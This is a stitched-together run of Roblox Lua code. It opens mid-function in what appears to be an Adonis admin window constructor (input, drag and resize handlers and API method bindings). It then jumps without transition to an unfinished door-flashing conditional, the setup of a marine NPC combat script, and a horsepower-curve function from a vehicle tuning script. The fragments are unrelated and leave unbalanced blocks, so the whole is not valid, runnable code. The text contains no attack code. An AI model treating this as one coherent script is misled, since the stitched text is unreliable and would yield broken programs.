Position.Y) end end) Event(InputService.InputChanged, function(input, gameHandled) if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then local Position = input.Position inputMoved(Position.X, Position.Y) end end) Event(InputService.InputEnded, function(input, gameHandled) if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then inputEnd() end end) --[[Event(Mouse.Button1Down, function() if gTable.Active and inFrame and not Resizing and not isInFrame(Mouse.X, Mouse.Y, ScrollFrame) and not isInFrame(Mouse.X, Mouse.Y, Drag) then Resizing = inFrame startXPos = Drag.AbsolutePosition.X startYPos = Drag.AbsolutePosition.Y startXSize = Drag.AbsoluteSize.X startYSize = Main.AbsoluteSize.Y checkMouse() end end) Event(Mouse.Button1Up, function() if gTable.Active then if Resizing and onResize then onResize(UDim2.new(Drag.Size.X.Scale, Drag.Size.X.Offset, Main.Size.Y.Scale, Main.Size.Y.Offset)) end Resizing = nil Mouse.Icon = curIcon --if Walls then -- wallPosition() --end end end)--]] else LeftSizeIcon.Visible = false RightSizeIcon.Visible = false end Close.MouseButton1Down:Connect(doClose) Hide.MouseButton1Down:Connect(function() doHide() end) gTable.CustomDestroy = function() if client.Variables.MouseLockedBy == gTable then Mouse.Icon = curIcon client.Variables.MouseLockedBy = nil end if not isClosed then isClosed = true if onClose then onClose() end end service.UnWrap(GUI):Destroy() end for i,child in ipairs(GUI:GetChildren()) do if child.Name ~= "Desc" and child.Name ~= "Drag" then specialInsts[child.Name] = child child.Parent = nil end end --// Drag & DisplayOrder Handler do local windowValue = Instance.new("BoolValue", GUI) local dragDragging = false local dragOffset local inFrame windowValue.Name = "__ADONIS_WINDOW" Event(Main.InputBegan, function(input) if gTable.Active and (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then BringToFront() end end) Event(Drag.InputBegan, function(input) if gTable.Active then inFrame = true if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then BringToFront() end end end) Event(Drag.InputChanged, function(input) if gTable.Active then inFrame = true end end) Event(Drag.InputEnded, function(input) inFrame = false end) Event(InputService.InputBegan, function(input) if inFrame and GUI.DisplayOrder == 101 and not dragDragging and (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then--isInFrame(input.Position.X, input.Position.Y, object) then dragDragging = true BringToFront() dragOffset = Vector2.new(Drag.AbsolutePosition.X - input.Position.X, Drag.AbsolutePosition.Y - input.Position.Y) end end) Event(InputService.InputChanged, function(input) if dragDragging and (input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch) then Drag.Position = UDim2.fromOffset(dragOffset.X + input.Position.X, dragOffset.Y + input.Position.Y) end end) Event(InputService.InputEnded, function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then dragDragging = false end end) end --// Finishing up local api = apiIfy(ScrollFrame, data) local meta = api:GetMetatable() local oldNewIndex = meta.__newindex local oldIndex = meta.__index create("ScrollingFrame", nil, ScrollFrame) LoadChildren(api, Content) api:SetSpecial("gTable", gTable) api:SetSpecial("Window", GUI) api:SetSpecial("Main", Main) api:SetSpecial("Title", Titlef) api:SetSpecial("Dragger", Drag) api:SetSpecial("Destroy", doClose) api:SetSpecial("Close", doClose) api:SetSpecial("Object", ScrollFrame) api:SetSpecial("Refresh", DoRefresh) api:SetSpecial("AddTitleButton", function(ignore, data) if type(ignore) == "table" and not data then data = ignore end return addTitleButton(data) end) api:SetSpecial("Ready", function() if onReady then onReady() end gTable.Ready() BringToFront() end) api:SetSpecial("BindEvent", function(ignore, ...) Event(...) end) api:SetSpecial("Hide", function(ignore, hide) doHide(hide) end) api:SetSpecial("SetTitle", function(ignore, newTitle) Titlef.Text = newTitle end) api:SetSpecial("SetPosition", function(ignore, newPos) setPosition(newPos) end) api:SetSpecial("SetSize", function(ignore, newSize) setSize(newSize) end) api:SetSpecial("GetPosition", function() return Drag.AbsolutePosition end) api:SetSpecial("GetSize", function() return Main.AbsoluteSize end) api:SetSpecial("IsVisible", isVisible) api:SetSpecial("IsClosed", isClosed) meta.__index = function(tab, ind) if ind == "IsVisible" then return isVisible() elseif ind == "Closed" then return isClosed else return oldIndex(tab, ind) end end setSize(Size) setPosition(Position) if Ready then gTable:Ready() BringToFront() end return api,GUI end
--------END RIGHT DOOR --------
end wait(0.15) if game.Workspace.DoorFlashing.Value == true then
--Services
local runService = game:GetService("RunService") local debrisService = game:GetService("Debris") local tweenService = game:GetService("TweenService") local serverStorage = game:GetService("ServerStorage") local physicsService = game:GetService("PhysicsService") local modules = script.Parent local core = require(modules.CoreModule) local status = require(modules.Status) local targeting = require(modules.TargetModule) local actions = require(modules.ActionsModule) local troubleshoot = require(modules.Troubleshoot) local marine = script.Parent.Parent.Parent local myRoot = marine.HumanoidRootPart local myHuman = marine.Humanoid local myHead = marine.Head local m4 = marine.M4 local barrel = m4.Barrel local lightFlash = barrel.MuzzleDynamicLight local chamber = m4.Chamber local fireSound = m4.Fire local impact = m4.Impact
--Plot Current Horsepower
local function GetCurve(x,gear) local hp=math.max((FGC(x)*_Tune.Horsepower)/PeakFGC,0) return hp,hp*(_Tune.EqPoint/x)*_Tune.Ratios[gear+2]*fFD*hpScaling end